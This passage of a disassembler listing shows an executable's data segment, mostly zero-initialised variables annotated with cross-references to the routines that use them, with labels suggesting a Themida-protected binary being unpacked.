dword_445260	dd 0			; DATA XREF: sub_4014E0+934w
dword_445264	dd 0			; DATA XREF: sub_4014E0+A95w
					; sub_4014E0+A9Cr ...
dword_445268	dd 0			; DATA XREF: sub_4014E0+A6w
					; sub_4014E0+F2r
dword_44526C	dd 0			; DATA XREF: sub_4014E0+480w
					; sub_4014E0+4D3r
dword_445270	dd 0			; DATA XREF: sub_4014E0+5F6w
					; sub_409B7E+20r
dword_445274	dd 0			; DATA XREF: sub_4014E0+9BEw
					; sub_4014E0+A33r
dword_445278	dd 0			; DATA XREF: sub_4014E0+5E9w
					; sub_4014E0+754r ...
dword_44527C	dd 0			; DATA XREF: sub_4014E0+A0Cw
					; sub_40C33C+8Br ...
dword_445280	dd 0			; DATA XREF: sub_4014E0+B50w
dword_445284	dd 0			; DATA XREF: sub_4014E0+7FEw
					; sub_4014E0+86Dr
dword_445288	dd 0			; DATA XREF: sub_4014E0+1B3w
					; sub_411F81+15r
dword_44528C	dd 0			; DATA XREF: sub_4014E0+997w
					; sub_4014E0+A1Br ...
dword_445290	dd 0			; DATA XREF: sub_4014E0+38Cw
					; sub_4014E0+3D7r ...
dword_445294	dd 0			; DATA XREF: sub_4014E0+399w
					; sub_4014E0+3DFr ...
dword_445298	dd 0			; DATA XREF: sub_4014E0+C85w
					; sub_4014E0+C8Cr
dword_44529C	dd 0			; DATA XREF: sub_4014E0+6ACw
					; ___:0040F0A8r
dword_4452A0	dd 0			; DATA XREF: sub_401317+1Dr
					; sub_401317+23r ...
dword_4452A4	dd 0			; DATA XREF: sub_4014E0+4B4w
dword_4452A8	dd 0			; DATA XREF: sub_4014E0+9E5w
					; sub_4014E0+A4Br ...
dword_4452AC	dd 0			; DATA XREF: sub_401000+51r
					; sub_4014E0+2B2w ...
dword_4452B0	dd 0			; DATA XREF: sub_4014E0+7Fw
					; sub_4014E0+DAr ...
dword_4452B4	dd 0			; DATA XREF: sub_4014E0+B9Dw
					; sub_4014E0+BA4r ...
dword_4452B8	dd 0			; DATA XREF: sub_4014E0+533w
					; sub_4014E0+6B3r ...
dword_4452BC	dd 0			; DATA XREF: sub_4014E0+825w
					; sub_4014E0+890r ...
dword_4452C0	dd 0			; DATA XREF: sub_4014E0+9A4w
					; sub_4014E0+A23r
dword_4452C4	dd 0			; DATA XREF: sub_4014E0+C0Ew
					; sub_4014E0+C3Fr
dword_4452C8	dd 0			; DATA XREF: sub_4014E0+2CCw
					; sub_41212B+47r
dword_4452CC	dd 0			; DATA XREF: sub_4014E0+22Dw
dword_4452D0	dd 0			; DATA XREF: sub_4014E0+91Aw
					; sub_4014E0+92Er
dword_4452D4	dd 0			; DATA XREF: sub_4014E0+C28w
dword_4452D8	dd 0			; DATA XREF: sub_4014E0+2D9w
					; sub_41212B+4Fr
dword_4452DC	dd 0			; DATA XREF: sub_4014E0+574w
					; sub_4014E0+6E8r ...
dword_4452E0	dd 0			; DATA XREF: sub_4014E0+83Fw
					; sub_4014E0+873r
dword_4452E4	dd 0			; DATA XREF: sub_4014E0+220w
					; sub_4014E0+23Cr
dword_4452E8	dd 0			; DATA XREF: sub_4014E0+172w
					; sub_4014E0+1C2r
dword_4452EC	dd 0			; DATA XREF: sub_4014E0+678w
					; sub_4014E0+7A4r ...
dword_4452F0	dd 0			; DATA XREF: sub_4014E0+5A8w
					; sub_4014E0+718r ...
dword_4452F4	dd 0			; DATA XREF: sub_4014E0+567w
					; sub_4014E0+6DCr
dword_4452F8	dd 0			; DATA XREF: sub_4014E0+8DBw
					; sub_4014E0:loc_401DD9w ...
dword_4452FC	dd 0			; DATA XREF: sub_401000+26r
					; sub_4014E0+28Bw ...
dword_445300	dd 0			; DATA XREF: sub_4014E0+69Fw
					; sub_4014E0+7BCr ...
dword_445304	dd 0			; DATA XREF: sub_4014E0+32Dw
					; sub_4014E0+341r ...
dword_445308	dd 0			; DATA XREF: sub_4014E0+3B3w
					; sub_4014E0+3EFr ...
dword_44530C	dd 0			; DATA XREF: sub_4014E0+C01w
					; sub_4014E0+C37r
dword_445310	dd 0			; DATA XREF: sub_4014E0+818w
					; sub_4014E0+888r ...
dword_445314	dd 0			; DATA XREF: sub_4014E0+206w
					; sub_4014E0+227r
dword_445318	dd 0			; DATA XREF: sub_4014E0+18Cw
					; sub_4014E0+1D2r ...
dword_44531C	dd 0			; DATA XREF: sub_4014E0+832w
					; sub_4014E0+898r ...
dword_445320	dd 0			; DATA XREF: sub_4014E0+624w
					; sub_4014E0+774r ...
dword_445324	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_4014E0+2BFw ...
dword_445328	dd 0			; DATA XREF: sub_4014E0+66Bw
					; sub_4014E0+79Cr
dword_44532C	dd 0			; DATA XREF: sub_4014E0+320w
					; sub_4014E0+334r ...
dword_445330	dd 0			; DATA XREF: sub_4014E0+644w
					; sub_4014E0+784r ...
dword_445334	dd 0			; DATA XREF: sub_4014E0+44Cw
					; sub_4014E0+4AEr
dword_445338	dd 0			; DATA XREF: sub_4014E0+199w
					; sub_4014E0+1DAr ...
dword_44533C	dd 0			; DATA XREF: sub_4014E0+365w
					; sub_4014E0+3BAr ...
dword_445340	dd 0			; DATA XREF: sub_4014E0+AA2w
dword_445344	dd 0			; DATA XREF: sub_4014E0+5DCw
					; sub_4014E0+748r ...
dword_445348	dd 0			; DATA XREF: sub_4014E0+5CFw
					; sub_4014E0+73Cr ...
dword_44534C	dd 0			; DATA XREF: sub_4014E0+4Bw
					; sub_4014E0+C2r ...
dword_445350	dd 0			; DATA XREF: sub_4014E0+473w
					; sub_4014E0+4CBr
dword_445354	dd 0			; DATA XREF: sub_4014E0+165w
					; sub_4014E0+1BAr ...
dword_445358	dd 0			; DATA XREF: sub_4014E0+9FFw
					; sub_4014E0+A5Br ...
dword_44535C	dd 0			; DATA XREF: sub_4014E0+685w
					; sub_4014E0+7ACr
dword_445360	dd 0			; DATA XREF: sub_4014E0+61Dw
					; sub_4014E0+76Cr ...
dword_445364	dd 0			; DATA XREF: sub_4014E0+C1Bw
					; sub_4014E0+C47r
dword_445368	dd 0			; DATA XREF: sub_4014E0+3Ew
					; sub_4014E0+BAr ...
dword_44536C	dd 0			; DATA XREF: sub_401000+45r
					; sub_4014E0+298w ...
dword_445370	dd 0			; DATA XREF: sub_4014E0+651w
					; sub_4014E0+78Cr ...
dword_445374	dd 0			; DATA XREF: sub_4014E0+637w
					; sub_4014E0+77Cr ...
dword_445378	dd 0			; DATA XREF: sub_4014E0+C92w
dword_44537C	dd 0			; DATA XREF: sub_4014E0+879w
					; ___:00411539r ...
dword_445380	dd 0			; DATA XREF: sub_4014E0+112w
dword_445384	dd 0			; DATA XREF: sub_4014E0+BE7w
					; sub_4014E0+C22r
dword_445388	dd 0			; DATA XREF: sub_4014E0+5C2w
					; sub_4014E0+730r ...
dword_44538C	dd 0			; DATA XREF: sub_4014E0+459w
					; sub_4014E0+4BBr
dword_445390	dd 0			; DATA XREF: sub_4014E0+49Aw
					; sub_4014E0+4E3r
dword_445394	dd 0			; DATA XREF: sub_4014E0+466w
					; sub_4014E0+4C3r
dword_445398	dd 0			; DATA XREF: sub_4013FF+3Er
					; sub_401445+80r ...
dword_44539C	dd 0			; DATA XREF: sub_4014E0+1A6w
					; sub_4014E0+1E2r ...
dword_4453A0	dd 0			; DATA XREF: sub_4014E0+9F2w
					; sub_4014E0+A53r ...
dword_4453A4	dd 0			; DATA XREF: sub_4014E0+158w
					; sub_4014E0+1ADr ...
dword_4453A8	dd 0			; DATA XREF: sub_4014E0+8Cw
					; sub_4014E0+E2r ...
dword_4453AC	dd 0			; DATA XREF: sub_4014E0+610w
					; sub_4014E0+764r ...
dword_4453B0	dd 0			; DATA XREF: sub_4014E0+B43w
					; sub_4014E0+B5Fr
dword_4453B4	dd 0			; DATA XREF: sub_4014E0+33Aw
					; sub_4133BB+55r
dword_4453B8	dd 0			; DATA XREF: sub_4014E0+27Ew
					; sub_4014E0+2D3r
dword_4453BC	dd 0			; DATA XREF: sub_4014E0+BAAw
dword_4453C0	dd 0			; DATA XREF: sub_4014E0+AECw
					; sub_402599+D4r
dword_4453C4	dd 0			; DATA XREF: sub_4014E0+ADFw
					; sub_4014E0+AE6r ...
dword_4453C8	dd 0			; DATA XREF: sub_4014E0+58Ew
					; sub_4014E0+700r ...
dword_4453CC	dd 0			; DATA XREF: sub_4014E0+692w
					; sub_4014E0+7B4r ...
dword_4453D0	dd 0			; DATA XREF: sub_4014E0+BF4w
					; sub_4014E0+C2Fr
dword_4453D4	dd 0			; DATA XREF: sub_4014E0+5B5w
					; sub_4014E0+724r ...
dword_4453D8	dd 0			; DATA XREF: sub_4014E0+9B1w
					; sub_4014E0+A2Br ...
dword_4453DC	dd 0			; DATA XREF: sub_4014E0+65Ew
					; sub_4014E0+794r ...
dword_4453E0	dd 0			; DATA XREF: sub_401317+12r
					; sub_4014E0+6B9w ...
dword_4453E4	dd 0			; DATA XREF: sub_4014E0+59Bw
					; sub_4014E0+70Cr ...
dword_4453E8	dd 0			; DATA XREF: sub_4014E0+B36w
					; sub_4014E0+B57r
dword_4453EC	dd 0			; DATA XREF: sub_4014E0+540w
					; sub_4014E0+6C4r
dword_4453F0	dd 0			; DATA XREF: sub_4014E0+B29w
					; sub_4014E0+B4Ar ...
dword_4453F4	dd 0			; DATA XREF: sub_4014E0+31w
					; sub_4014E0+ADr ...
dword_4453F8	dd 0			; DATA XREF: sub_4014E0+17Fw
					; sub_4014E0+1CAr
		align 10h
dword_445400	dd 0			; DATA XREF: sub_4014E0+927w
					; sub_4014E0+93Br
dword_445404	dd 0			; DATA XREF: sub_4014E0+99w
					; sub_4014E0+EAr ...
dword_445408	dd 0			; DATA XREF: sub_4014E0:loc_4015DEw
					; sub_4014E0+12Bw ...
dword_44540C	dd 0			; DATA XREF: sub_4014E0+126w
					; sub_40219C+1Cr
dword_445410	dd 0			; DATA XREF: sub_4014E0:loc_4016CEw
					; sub_4014E0:loc_401735w ...
dword_445414	dd 0			; DATA XREF: sub_4014E0+250w
					; sub_40219C+50r
dword_445418	dd 0			; DATA XREF: sub_4014E0:loc_4017E8w
					; sub_4014E0:loc_40182Dw ...
dword_44541C	dd 0			; DATA XREF: sub_4014E0+41Ew
					; sub_40219C+84r
dword_445420	dd 0			; DATA XREF: sub_4014E0:loc_4019E4w
					; sub_40219C:loc_40224Cr
dword_445424	dd 0			; DATA XREF: sub_4014E0+4FFw
					; sub_40219C+B8r
dword_445428	dd 0			; DATA XREF: sub_4014E0:loc_401CB5w
					; sub_40219C:loc_402280r
dword_44542C	dd 0			; DATA XREF: sub_4014E0+7D0w
					; sub_40219C+ECr
dword_445430	dd 0			; DATA XREF: sub_4014E0:loc_401DA0w
					; sub_4014E0+8EFw ...
dword_445434	dd 0			; DATA XREF: sub_4014E0+8EAw
					; sub_40219C+120r
dword_445438	dd 0			; DATA XREF: sub_4014E0:loc_401E34w
					; sub_40219C:loc_4022E8r
dword_44543C	dd 0			; DATA XREF: sub_4014E0+94Fw
					; sub_40219C+154r
dword_445440	dd 0			; DATA XREF: sub_4014E0:loc_401F50w
					; sub_40219C:loc_40231Cr ...
dword_445444	dd 0			; DATA XREF: sub_4014E0+A6Bw
					; sub_40219C+188r
dword_445448	dd 0			; DATA XREF: sub_4014E0:loc_401F9Aw
					; sub_40219C:loc_402350r
dword_44544C	dd 0			; DATA XREF: sub_4014E0+AB5w
					; sub_40219C+1BCr
dword_445450	dd 0			; DATA XREF: sub_4014E0:loc_401FE4w
					; sub_40219C:loc_402384r
dword_445454	dd 0			; DATA XREF: sub_4014E0+AFFw
					; sub_40219C+1F0r
dword_445458	dd 0			; DATA XREF: sub_4014E0:loc_402058w
					; sub_40219C:loc_4023B8r
dword_44545C	dd 0			; DATA XREF: sub_4014E0+B73w
					; sub_40219C+224r
dword_445460	dd 0			; DATA XREF: sub_4014E0:loc_4020A2w
					; sub_40219C:loc_4023ECr
dword_445464	dd 0			; DATA XREF: sub_4014E0+BBDw
					; sub_40219C+258r
dword_445468	dd 0			; DATA XREF: sub_4014E0:loc_402140w
					; sub_40219C:loc_402420r
dword_44546C	dd 0			; DATA XREF: sub_4014E0+C5Bw
					; sub_40219C+28Cr
dword_445470	dd 0			; DATA XREF: sub_4014E0:loc_40218Aw
					; sub_40219C:loc_402454r
dword_445474	dd 0			; DATA XREF: sub_4014E0+CA5w
					; sub_40219C+2C0r
dword_445478	dd 5 dup(0)		; DATA XREF: sub_40267D+32o
dword_44548C	dd 0			; DATA XREF: ___:004024D8o
dword_445490	dd 0			; DATA XREF: ___:00402B1Eo
					; sub_403038+AD7o ...
		dd 5 dup(0)
dword_4454A8	dd 0			; DATA XREF: sub_403038+B33r
					; sub_41045F+60r
		dd 0A9h	dup(0)
dword_445750	dd 230h	dup(0)		; DATA XREF: ___:0044087Co
dword_446010	dd 0			; DATA XREF: sub_403038+2F8Cw
					; sub_403038+4A15r ...
		dd 7Fh dup(0)
dword_446210	dd 0			; DATA XREF: sub_408E53+41w
					; sub_408F8E+40w ...
dword_446214	dd 0			; DATA XREF: sub_408E53+47w
					; sub_408F8E+46w ...
dword_446218	dd 0			; DATA XREF: sub_408E53+52w
					; sub_408F8E+3Ar ...
dword_44621C	dd 0			; DATA XREF: sub_401317+Cr
					; sub_402D58+B9w ...
dword_446220	dd 0			; DATA XREF: sub_408F8E+75r
					; sub_40916F+2Aw ...
dword_446224	dd 0			; DATA XREF: ___:00402B6Aw
					; ___:00402BE2w ...
byte_446228	db 0			; DATA XREF: sub_402D58+91o
					; sub_403038+495Ar ...
		align 4
dword_44622C	dd 278Ah dup(0)
dword_450054	dd 11FBh dup(0)		; DATA XREF: ___:0043F2A8o
		db 3 dup(0)
byte_454843	db 0			; DATA XREF: ___:00444884o
dword_454844	dd 2C0h	dup(0)
		db 0
byte_455345	db 3 dup(0)		; DATA XREF: ___:00444D24o
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: ___:004446F0o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: ___:004446F8o
		dd 0BBh	dup(0)
		db 3 dup(0)
byte_455A43	db 0			; DATA XREF: ___:00444B04o
		dd 2E00h dup(0)
dword_461244	dd 0BC5h dup(0)		; DATA XREF: Themida_:00560528o
		db 2 dup(0)
word_46415A	dw 0			; DATA XREF: ___:00444934o
					; ___:00444B5Co ...
		dd 47Ah	dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: ___:00444A34o
					; ___:00444D1Co
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_465653	db 0			; DATA XREF: ___:00444D84o
		dd 3D3Dh dup(0)
dword_474B48	dd 0BFh	dup(0)		; DATA XREF: ___:00444B24o
		db 0
byte_474E45	db 3 dup(0)		; DATA XREF: ___:00444C64o
					; ___:00444D94o
		dd 0FEh	dup(0)
		db 0
byte_475241	db 3 dup(0)		; DATA XREF: ___:00444A10o
		dd 40h dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: ___:00444850o
					; ___:00444D2Co
		dd 3D44h dup(0)
		db 2 dup(0)
word_48485A	dw 0			; DATA XREF: ___:00444BD4o
					; ___:00444BECo
		dd 2BAh	dup(0)
		db 0
byte_485345	db 3 dup(0)		; DATA XREF: ___:00444D34o
		dd 2B42h dup(0)
		db 2 dup(0)
word_490052	dw 0			; DATA XREF: ___:0043F2A0o
dword_490054	dd 0E6Bh dup(0)		; DATA XREF: ___:0043F709o
					; ___:0043FF19o
dword_493A00	dd 396h	dup(0)		; DATA XREF: Themida_:0055D840o
		db 2 dup(0)
word_49485A	dw 0			; DATA XREF: ___:00444BDCo
					; ___:00444BFCo
		dd 17Ah	dup(0)
		db 0
byte_494E45	db 3 dup(0)		; DATA XREF: ___:00444C3Co
					; ___:00444CBCo
		dd 0FEh	dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: ___:004448B0o
		align 10h
dword_495250	dd 3Dh dup(0)		; DATA XREF: ___:00444B4Co
		db 0
byte_495345	db 3 dup(0)		; DATA XREF: ___:00444D4Co
		dd 3EBFh dup(0)
		db 0
byte_4A4E45	db 3 dup(0)		; DATA XREF: ___:00444C44o
dword_4A4E48	dd 4202h dup(0)
		db 3 dup(0)
byte_4B5653	db 0			; DATA XREF: ___:00444B54o
		dd 3BBBh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: ___:0044477Co
dword_4C4544	dd 0BFh	dup(0)		; DATA XREF: ___:00444CACo
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: ___:00444A68o
		dd 180h	dup(0)
		db 0
byte_4C4E45	db 3 dup(0)		; DATA XREF: ___:00444C24o
		dd 3Eh dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: ___:004449B8o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: ___:004448D4o
					; ___:00444C8Co
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: ___:00444A60o
					; ___:00444CFCo
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: ___:004446C4o
					; ___:004446CCo
		dd 1C0h	dup(0)
		db 2 dup(0)
word_4C5A4E	dw 0			; DATA XREF: ___:00444B2Co
					; ___:00444B34o
		dd 3570h dup(0)
dword_4D3010	dd 0			; DATA XREF: ___:0040278Bw
					; sub_408E53+13o ...
dword_4D3014	dd 0			; DATA XREF: ___:004027CFw
					; sub_403038:loc_406E81r ...
dword_4D3018	dd 0			; DATA XREF: ___:loc_402C6Ao
dword_4D301C	dd 20h dup(0)		; DATA XREF: ___:00402C21o
					; ___:00402CBBo ...
dword_4D309C	dd 10h dup(0)		; DATA XREF: ___:00402C37o
dword_4D30DC	dd 24h dup(0)		; DATA XREF: ___:00402C4Eo
dword_4D316C	dd 0			; DATA XREF: ___:00402C42w
					; ___:00402CD2w ...
dword_4D3170	dd 0			; DATA XREF: ___:00402C61w
		align 10h
byte_4D3180	db 0			; DATA XREF: sub_402EC0+28r
					; sub_402EC0+30o
		align 4
dword_4D3184	dd 0			; DATA XREF: ___:00402C6Fw
					; ___:00402C86r ...
dword_4D3188	dd 0			; DATA XREF: ___:00402C26w
					; sub_403038+884r
dword_4D318C	dd 0			; DATA XREF: ___:00436DF8o
dword_4D3190	dd 0			; DATA XREF: ___:004029DCo
dword_4D3194	dd 0			; DATA XREF: sub_403038+558Fo
dword_4D3198	dd 0			; DATA XREF: sub_403038+3796o
dword_4D319C	dd 0			; DATA XREF: sub_403038+335Ao
dword_4D31A0	dd 2 dup(0)		; DATA XREF: sub_403038+476Bo
dword_4D31A8	dd 0			; DATA XREF: ___:004089ACo
dword_4D31AC	dd 0			; DATA XREF: sub_408AA4+33o
dword_4D31B0	dd 0			; DATA XREF: sub_408AA4+63o
byte_4D31B4	db 0			; DATA XREF: sub_408D4C+6Ar
					; sub_408D4C+98w
		align 10h
dword_4D31C0	dd 0			; DATA XREF: sub_409757+18r
					; sub_409BC6+92w ...
dword_4D31C4	dd 0			; DATA XREF: sub_409ECC+4Dr
					; sub_409ECC+2EDw ...
		dd 12h dup(0)
dword_4D3210	dd 0			; DATA XREF: sub_40909B+16o
					; sub_4090BA+19o
dword_4D3214	dd 3CFh	dup(0)		; DATA XREF: sub_40904E+3Do
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_441FC4o
		dd 37Ch	dup(0)
dword_4D4F44	dd 9Fh dup(0)		; DATA XREF: ___:00444960o
dword_4D51C0	dd 6 dup(0)		; DATA XREF: sub_409ECC+CFo
					; sub_409ECC+138o ...
dword_4D51D8	dd 0			; DATA XREF: sub_4097CE+83w
					; sub_4097CE+102o
dword_4D51DC	dd 41h dup(0)		; DATA XREF: sub_4097CE+47o
dword_4D52E0	dd 19h dup(0)		; DATA XREF: sub_4097CE+6Ao
		db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: ___:00444748o
					; ___:00444D3Co
		dd 27h dup(0)
dword_4D53E4	dd 0			; DATA XREF: sub_4097CE+F8w
					; sub_4097CE+114r
dword_4D53E8	dd 0			; DATA XREF: sub_4097CE+58w
dword_4D53EC	dd 0			; DATA XREF: sub_4097CE+53w
					; sub_4097CE+D5r
dword_4D53F0	dd 15h dup(0)		; DATA XREF: sub_4097CE+9Bo
					; sub_4097CE+BBo
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: ___:00444858o
		dd 0Ah dup(0)
dword_4D5470	dd 0			; DATA XREF: sub_4097CE+90w
dword_4D5474	dd 0			; DATA XREF: sub_4097CE+A8w
					; sub_4097CE+C8w
dword_4D5478	dd 0			; DATA XREF: sub_4097CE:loc_4098F8r
		align 10h
dword_4D5480	dd 0			; DATA XREF: sub_4097CE+1A6w
					; sub_4097CE+225o
dword_4D5484	dd 41h dup(0)		; DATA XREF: sub_4097CE+168o
dword_4D5588	dd 41h dup(0)		; DATA XREF: sub_4097CE+18Do
dword_4D568C	dd 0			; DATA XREF: sub_4097CE+21Bw
					; sub_4097CE+237r
dword_4D5690	dd 0			; DATA XREF: sub_4097CE+17Bw
dword_4D5694	dd 0			; DATA XREF: sub_4097CE+176w
					; sub_4097CE+1F8r
dword_4D5698	dd 20h dup(0)		; DATA XREF: sub_4097CE+1BEo
					; sub_4097CE+1DEo
dword_4D5718	dd 0			; DATA XREF: sub_4097CE+1B3w
dword_4D571C	dd 0			; DATA XREF: sub_4097CE+1CBw
					; sub_4097CE+1EBw
dword_4D5720	dd 0			; DATA XREF: sub_4097CE:loc_409A1Br
		align 8
dword_4D5728	dd 0			; DATA XREF: sub_4097CE+2F0w
					; sub_4097CE+349o
dword_4D572C	dd 0A2h	dup(0)		; DATA XREF: sub_4097CE+2DEo
dword_4D59B4	dd 41h dup(0)		; DATA XREF: sub_4097CE+2ACo
dword_4D5AB8	dd 0			; DATA XREF: sub_4097CE+2D5w
					; sub_4097CE+2FCr
		align 10h
dword_4D5AC0	dd 0			; DATA XREF: sub_4097CE+33Fw
					; sub_4097CE+35Br
dword_4D5AC4	dd 0			; DATA XREF: sub_4097CE+302w
dword_4D5AC8	dd 0			; DATA XREF: sub_4097CE+30Fw
dword_4D5ACC	dd 0			; DATA XREF: sub_4097CE+2CFw
		dd 0
dword_4D5AD4	dd 0			; DATA XREF: sub_4097CE:loc_409B3Fr
		dd 0
dword_4D5ADC	dd 0			; DATA XREF: sub_409475+Er
					; sub_409475+31r
dword_4D5AE0	dd 0			; DATA XREF: sub_409475+9r
					; sub_409475+25r
dword_4D5AE4	dd 81h dup(0)		; DATA XREF: sub_40A33F+8Do
dword_4D5CE8	dd 0			; DATA XREF: ___:0040A7A5w
dword_4D5CEC	dd 0			; DATA XREF: ___:0040A652w
					; ___:loc_40A694r
dword_4D5CF0	dd 0			; DATA XREF: ___:0040A77Cw
					; ___:0040AC0Cw ...
dword_4D5CF4	dd 40h dup(0)		; DATA XREF: ___:0040A788o
					; sub_40ACD9+C0o
dword_4D5DF4	dd 0			; DATA XREF: ___:0040A66Dw
					; ___:0040A76Er ...
dword_4D5DF8	dd 2Bh dup(0)		; DATA XREF: ___:0040A70Fo
dword_4D5EA4	dd 81h dup(0)		; DATA XREF: ___:0040A736o
		db 2 dup(0)
word_4D60AA	dw 0			; DATA XREF: ___:0040AA4Bo
					; ___:0040AA78o ...
dword_4D60AC	dd 0			; DATA XREF: ___:loc_40AB07o
		db 2 dup(0)
word_4D60B2	dw 0			; DATA XREF: ___:0040A7D0o
					; ___:0040A802o ...
dword_4D60B4	dd 4 dup(0)		; DATA XREF: ___:loc_40A7E1o
dword_4D60C4	dd 2Eh dup(0)		; DATA XREF: ___:0040A747o
		db 2 dup(0)
word_4D617E	dw 0			; DATA XREF: ___:0040A75Bo
		dd 1Eh dup(0)
dword_4D61F8	dd 0			; DATA XREF: ___:0040ABFFw
					; ___:0040AC18r ...
dword_4D61FC	dd 0			; DATA XREF: ___:0040AC99w
					; ___:0040ACC6r
		dd 2 dup(0)
dword_4D6208	dd 2 dup(0)		; DATA XREF: sub_40B7CB+68o
dword_4D6210	dd 0			; DATA XREF: sub_40B26B+13o
dword_4D6214	dd 2 dup(0)		; DATA XREF: sub_40BABA+10o
dword_4D621C	dd 40h dup(0)		; DATA XREF: sub_40C33C+19o
dword_4D631C	dd 0			; DATA XREF: sub_40C33C+71r
					; sub_40C33C+85r
dword_4D6320	dd 19h dup(0)		; DATA XREF: sub_40C33C+93o
dword_4D6384	dd 0			; DATA XREF: ___:0040CFB0r
		dd 0
		dd 0
dword_4D6390	dd 0			; DATA XREF: ___:0040CF83r
dword_4D6394	dd 0			; DATA XREF: ___:0040CF65r
					; ___:0040CFCEr
		dd 0
dword_4D639C	dd 0			; DATA XREF: ___:0040D80Aw
					; ___:0040D831r ...
		dd 3 dup(0)
dword_4D63AC	dd 3 dup(0)		; DATA XREF: sub_40E8F7+74o
dword_4D63B8	dd 0			; DATA XREF: ___:0040F11Er
		align 10h
dword_4D63C0	dd 3 dup(0)		; DATA XREF: ___:0040F111o
dword_4D63CC	dd 1000h dup(0)		; DATA XREF: sub_410557+1Do
					; ___:00410641o ...
dword_4DA3CC	dd 4 dup(0)		; DATA XREF: sub_410557+13o
					; ___:00410688o ...
dword_4DA3DC	dd 0			; DATA XREF: ___:0041148Eo
dword_4DA3E0	dd 0Eh dup(0)		; DATA XREF: sub_411586+Fo
dword_4DA418	dd 81h dup(0)		; DATA XREF: sub_411D15+6Ao
dword_4DA61C	dd 0			; DATA XREF: sub_411FA3+E9o
dword_4DA620	dd 17h dup(0)		; DATA XREF: sub_412564:loc_412681o
					; sub_412564+131o ...
dword_4DA67C	dd 80h dup(0)		; DATA XREF: sub_4132FD+7Co
					; sub_4132FD+A5o
dword_4DA87C	dd 0			; DATA XREF: ___:00412923w
					; ___:0041292Br ...
dword_4DA880	dd 17h dup(0)		; DATA XREF: sub_4131C9:loc_4132EBo
					; sub_4131C9+12Do
dword_4DA8DC	dd 80h dup(0)		; DATA XREF: sub_41281F+4Bo
					; sub_41281F+7Do ...
byte_4DAADC	db 0			; DATA XREF: ___:00412907r
					; ___:00412912w
		align 10h
dword_4DAAE0	dd 80h dup(0)		; DATA XREF: sub_412B35+61o
					; sub_412B35+88o ...
dword_4DACE0	dd 81h dup(0)		; DATA XREF: sub_41243B+33o
					; sub_41243B+50o ...
dword_4DAEE4	dd 0			; DATA XREF: sub_41379E:loc_4137BFr
					; sub_41388D+54r ...
dword_4DAEE8	dd 0			; DATA XREF: sub_41379Er
					; sub_41388D+37r ...
dword_4DAEEC	dd 0			; DATA XREF: sub_4137CE+1Ar
					; sub_4139E2+83o
dword_4DAEF0	dd 0			; DATA XREF: sub_41379E:loc_4137B2r
					; sub_4139E2+11Bw
dword_4DAEF4	dd 0Dh dup(0)		; DATA XREF: sub_41388D+13o
					; sub_4139E2:loc_413B23o
dword_4DAF28	dd 0			; DATA XREF: sub_41388D+CDr
					; sub_41388D+ECr ...
		align 10h
dword_4DAF30	dd 0			; DATA XREF: sub_413806+9o
dword_4DAF34	dd 0			; DATA XREF: sub_4139E2+DFo
dword_4DAF38	dd 0			; DATA XREF: sub_4139E2:loc_413B1Eo
dword_4DAF3C	dd 0Eh dup(0)		; DATA XREF: sub_413F6C+47o
dword_4DAF74	dd 2 dup(0)		; DATA XREF: sub_414129+13o
byte_4DAF7C	db 0			; DATA XREF: ___:00414837o
					; ___:0041487Ar
		align 10h
		dd 3Fh dup(0)
word_4DB07C	dw 0			; DATA XREF: sub_4144A9+2Fr
		align 10h
dword_4DB080	dd 2 dup(0)		; DATA XREF: sub_4144A9+8o
dword_4DB088	dd 2 dup(0)		; DATA XREF: sub_4144A9+18o
dword_4DB090	dd 2 dup(0)		; DATA XREF: ___:00414618o
dword_4DB098	dd 28F0F60h		; DATA XREF: sub_414EA0+262w
					; sub_4152A0:loc_4156DBr ...
dword_4DB09C	dd 1569h		; DATA XREF: sub_414EA0:loc_4150B3r
					; sub_414EA0+21Cw ...
dword_4DB0A0	dd 28F0030h		; DATA XREF: sub_414EA0:loc_4150E9r
					; sub_414EA0+252r ...
dword_4DB0A4	dd 119Eh		; DATA XREF: sub_414EA0+222r
					; sub_414EA0+22Aw ...
dword_4DB0A8	dd 119Eh		; DATA XREF: sub_414EA0+235r
					; sub_414EA0+243w ...
dword_4DB0AC	dd 0			; DATA XREF: sub_428050+217r
dword_4DB0B0	dd 0A28h		; DATA XREF: sub_4163D0:loc_416426r
		dd 501h, 5, 1
dword_4DB0C0	dd 1			; DATA XREF: ___:loc_402A84r
					; ___:004263E6w
dword_4DB0C4	dd 28F0AF0h		; DATA XREF: ___:00402A8Dr
					; ___:00402AADr ...
		dd 0
dword_4DB0CC	dd 28F0A40h		; DATA XREF: ___:0042624Bw
					; ___:00426251r ...
dword_4DB0D0	dd 0			; DATA XREF: sub_430F50+49r
dword_4DB0D4	dd 0			; DATA XREF: sub_42D080+24r
					; sub_4301F0+6r ...
		dd 0
off_4DB0DC	dd offset aCM_unpackerPac ; DATA XREF: ___:00426346w
					; ___:0042635Cr
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DB0E4	db 0			; DATA XREF: sub_4179C0+30w
					; sub_418E70+8r
		align 4
dword_4DB0E8	dd 0			; DATA XREF: sub_4179C0:loc_4179E3w
dword_4DB0EC	dd 0			; DATA XREF: sub_4179C0+9r
					; sub_4179C0:loc_417A8Bw
dword_4DB0F0	dd 0			; DATA XREF: sub_4179C0+95r
					; sub_4179C0+AFw
		align 8
dword_4DB0F8	dd 0			; DATA XREF: sub_418BB0+88r
					; sub_418BB0+F8w
		align 10h
dword_4DB100	dd 0			; DATA XREF: sub_418BB0+7Dr
					; sub_418BB0+100w ...
